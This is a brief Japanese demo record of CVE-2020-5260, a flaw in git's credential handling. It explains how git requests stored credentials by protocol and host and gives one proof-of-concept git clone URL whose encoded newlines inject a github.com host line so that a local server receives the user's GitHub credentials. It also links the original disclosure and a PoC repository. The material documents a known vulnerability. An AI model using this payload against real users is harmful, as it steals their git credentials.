CVE-2020-5260

CVE-2020-5260 デモ記録

• git が git clone https://example.com のようなコマンドを実行する際、プロトコル "https" を使用してホスト "example.com" の資格情報を保存するよう要求し、リモート側で認証が要求された場合に、返された資格情報を発行したリクエストに追加します。

git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https

参考リンク:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260